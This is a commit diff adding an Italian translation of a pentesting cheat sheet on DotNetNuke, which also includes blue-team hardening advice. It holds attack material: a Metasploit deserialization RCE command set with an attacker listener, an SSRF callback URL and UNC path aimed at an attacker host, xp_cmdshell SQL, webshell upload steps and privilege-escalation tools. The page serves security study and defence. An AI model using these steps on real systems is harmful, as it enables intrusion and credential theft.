Translated ['src/network-services-pentesting/pentesting-web/dotnetnuke-d

This commit is contained in:
Translator 2025-07-19 08:09:26 +00:00
parent 33c4c07a74
commit a36f1480c1

View File

@ -4,37 +4,92 @@
## DotNetNuke (DNN) ## DotNetNuke (DNN)
Se accedi come **amministratore** in DNN è facile ottenere RCE. Se accedi come **amministratore** in DNN è facile ottenere **RCE**, tuttavia un certo numero di tecniche *non autenticate* e *post-autenticazione* sono state pubblicate negli ultimi anni. Il seguente cheat-sheet raccoglie le primitive più utili sia per il lavoro offensivo che difensivo.
## RCE ---
## Enumerazione della Versione & Ambiente
### Via SQL * Controlla l'intestazione di risposta HTTP *X-DNN* di solito rivela la versione esatta della piattaforma.
* Il wizard di installazione rivela la versione in `/Install/Install.aspx?mode=install` (accessibile su installazioni molto vecchie).
* `/API/PersonaBar/GetStatus` (9.x) restituisce un blob JSON contenente `"dnnVersion"` per utenti a bassa privilegio.
* Cookie tipici che vedrai su un'istanza live:
* `.DOTNETNUKE` ticket di autenticazione delle forme ASP.NET.
* `DNNPersonalization` contiene dati del profilo utente in XML/serializzati (versioni vecchie vedi RCE qui sotto).
Una console SQL è accessibile nella pagina **`Impostazioni`** dove puoi abilitare **`xp_cmdshell`** e **eseguire comandi di sistema operativo**. ---
## Sfruttamento Non Autenticato
Usa queste righe per abilitare **`xp_cmdshell`**: ### 1. RCE da Deserializzazione dei Cookie (CVE-2017-9822 & seguiti)
```sql *Versioni interessate ≤ 9.3.0-RC*
EXEC sp_configure 'show advanced options', '1'
RECONFIGURE `DNNPersonalization` viene deserializzato ad ogni richiesta quando il gestore 404 integrato è abilitato. XML creato ad arte può quindi portare a catene di gadget arbitrarie ed esecuzione di codice.
EXEC sp_configure 'xp_cmdshell', '1'
RECONFIGURE
``` ```
E premi **"Esegui Script"** per eseguire quelle istruzioni sQL. msf> use exploit/windows/http/dnn_cookie_deserialization_rce
msf> set RHOSTS <target>
Quindi, usa qualcosa di simile al seguente per eseguire comandi OS: msf> set LHOST <attacker_ip>
```sql msf> run
xp_cmdshell 'whoami'
``` ```
### Via ASP webshell Il modulo sceglie automaticamente il percorso giusto per le versioni patchate ma ancora vulnerabili (CVE-2018-15811/15812/18325/18326). L'exploitation funziona **senza autenticazione** su 7.x9.1.x e con un account *verificato* a basso privilegio su 9.2.x+.
In `Settings -> Security -> More -> More Security Settings` puoi **aggiungere nuove estensioni consentite** sotto `Allowable File Extensions`, e poi cliccando il pulsante `Save`. ### 2. Server-Side Request Forgery (CVE-2025-32372)
*Versioni interessate < 9.13.8 Patch rilasciata aprile 2025*
Aggiungi **`asp`** o **`aspx`** e poi in **`/admin/file-management`** carica un **asp webshell** chiamato `shell.asp` per esempio. Un bypass della vecchia correzione `DnnImageHandler` consente a un attaccante di costringere il server a emettere **richieste GET arbitrarie** (SSRF semi-alla cieca). Impatti pratici:
Poi accedi a **`/Portals/0/shell.asp`** per accedere al tuo webshell. * Scansione delle porte interne / scoperta dei servizi metadata nelle implementazioni cloud.
* Raggiungere host altrimenti protetti da firewall da Internet.
### Privilege Escalation Proof-of-concept (sostituire `TARGET` & `ATTACKER`):
```
https://TARGET/API/RemoteContentProxy?url=http://ATTACKER:8080/poc
```
La richiesta viene attivata in background; monitora il tuo listener per i callback.
Puoi **escalare privilegi** usando **Potatoes** o **PrintSpoofer** per esempio. ### 3. Esposizione dell'Hash NTLM tramite Redirect UNC (CVE-2025-52488)
*Versioni interessate 6.0.0 9.x (< 10.0.1)*
Contenuti appositamente creati possono far sì che DNN tenti di recuperare una risorsa utilizzando un **percorso UNC** come `\\attacker\share\img.png`. Windows eseguirà felicemente la negoziazione NTLM, rivelando gli hash degli account server all'attaccante. Aggiorna a **10.0.1** o disabilita SMB in uscita nel firewall.
### 4. Bypass del Filtro IP (CVE-2025-52487)
Se gli amministratori si affidano ai *Filtri Host/IP* per la protezione del portale admin, sii consapevole che le versioni precedenti a **10.0.1** possono essere bypassate manipolando `X-Forwarded-For` in uno scenario di reverse-proxy.
---
## Post-Autenticazione a RCE
### Via console SQL
Sotto **`Impostazioni → SQL`** una finestra di query integrata consente l'esecuzione contro il database del sito. Su Microsoft SQL Server puoi abilitare **`xp_cmdshell`** e generare comandi:
```sql
EXEC sp_configure 'show advanced options', 1;
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1;
RECONFIGURE;
GO
xp_cmdshell 'whoami';
```
### Via upload di webshell ASPX
1. Vai a **`Impostazioni → Sicurezza → Altro → Ulteriori impostazioni di sicurezza`**.
2. Aggiungi `aspx` (o `asp`) a **Estensioni di file consentite** e **Salva**.
3. Naviga a **`/admin/file-management`** e carica `shell.aspx`.
4. Attivalo su **`/Portals/0/shell.aspx`**.
---
## Escalation dei privilegi su Windows
Una volta ottenuta l'esecuzione del codice come **IIS AppPool\<Site>**, si applicano tecniche comuni di escalation dei privilegi di Windows. Se la macchina è vulnerabile, puoi sfruttare:
* **PrintSpoofer** / **SpoolFool** per abusare di *SeImpersonatePrivilege*.
* **Juicy/Sharp Potatoes** per sfuggire a *Service Accounts*.
---
## Raccomandazioni di indurimento (Blue Team)
* **Aggiorna** ad almeno **9.13.9** (risolve il bypass SSRF) o preferibilmente **10.0.1** (problemi di filtro IP e NTLM).
* Rimuovi i file residui **`InstallWizard.aspx*`** dopo l'installazione.
* Disabilita l'uscita SMB outbound (porte 445/139).
* Applica filtri *Host* forti sul proxy di edge piuttosto che all'interno di DNN.
* Blocca l'accesso a `/API/RemoteContentProxy` se non utilizzato.
## Riferimenti
* Documentazione del modulo Metasploit `dnn_cookie_deserialization_rce` dettagli pratici su RCE non autenticato (GitHub).
* Avviso di sicurezza GitHub GHSA-3f7v-qx94-666m informazioni sul bypass SSRF del 2025 e patch.
{{#include ../../banners/hacktricks-training.md}} {{#include ../../banners/hacktricks-training.md}}